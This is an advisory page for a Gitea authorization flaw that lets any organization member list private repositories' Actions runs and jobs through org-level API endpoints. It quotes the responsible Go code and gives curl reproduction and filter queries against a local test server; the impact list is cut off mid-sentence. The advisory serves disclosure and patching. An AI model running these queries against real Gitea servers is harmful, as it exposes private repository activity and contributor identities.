medium

CVE-2026-57897

Go · code.gitea.io/gitea

Summary

Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs

Severity
medium
CVSS
6.5
EPSS
0.4% (p35)
CWE
CWE-200, CWE-863
Also known as
GHSA-frpw-3h2q-4jj6
Published
2026-07-21
Updated
2026-07-21

Advisory details

Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023 Broken Object Property Level Authorization


1. Summary

The org-level Actions REST endpoints

GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) / shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects every action_run / action_run_job row whose repository belongs to the org — with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, …/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the same caller — proving the org-level surface is the only path that leaks.


2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

addActionsRoutes(
    m,
    reqOrgMembership(),   // reqReaderCheck
    reqOrgOwnership(),    // reqOwnerCheck
    org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

func (Action) ListWorkflowJobs(ctx *context.APIContext) {
    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) {
    shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

opts := actions_model.FindRunOptions{
    OwnerID:     ownerID,   // ← org ID, NOT user ID
    RepoID:      repoID,    // = 0 at org level
    ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)

models/actions/run_list.go:102-110

func (opts FindRunOptions) ToJoins() []db.JoinFunc {
    if opts.OwnerID > 0 {
        return []db.JoinFunc{func(sess db.Engine) error {
            sess.Join("INNER", "repository",
                "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
            return nil
        }}
    }
    return nil
}

The join only constrains repository.owner_id = orgID. There is no access/team_repo/collaboration join and no access_model.GetDoerRepoPermission(...) filter — every row in the org is returned.

The same bug applies to shared.ListJobs, which calls db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …}) using an analogous repository join.


3. Steps to Reproduce

3.1 Setup

Verified that admin2 lacks direct access:

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to produce an action_run:

name: ci
on: push
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
      - run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

{"workflow_runs":[{
  "id":7,
  "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
  "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
  "display_title":"add workflow",
  "path":"ci.yml@refs/heads/main",
  "event":"push",
  "run_attempt":1,
  "run_number":1,
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  "actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
  "trigger_actor":{ … "login":"admin" … },
  "repository":{
     "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
     "description":"test123",
     "private":true,
     "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
     "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
     …
  }
}],"total_count":1}
[200]

Same primitive for jobs:

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
  "id":7,
  "run_id":7,
  "name":"hello",
  "labels":["ubuntu-latest"],
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  …
}],"total_count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too — turning the endpoint into a search oracle over private workflow metadata:

# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"

# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"

# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"

# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.


4. Impact

A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:

Field leaked Why it matters
repository.full_name, description, private, clone URLs Existence + topology of private repos
head_sha, head_branch Confirms commits / branch names exist in private repos
path (workflow file) Reveals workflow YAML filenames
event, display_title Commit messages / event types
actor, trigger_actor Internal contributor identities incl. noreply emails
created_at, started_at Activity timing / CI cadence
Pagination + ?head_sha=/?branch=/?actor= filters Full search oracle over private workflow history

Real-world consequences:

  1. Org reconnaissance — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
  2. Insider-threat amplification — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history.
  3. Cross-team violation — when an org isolates int

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.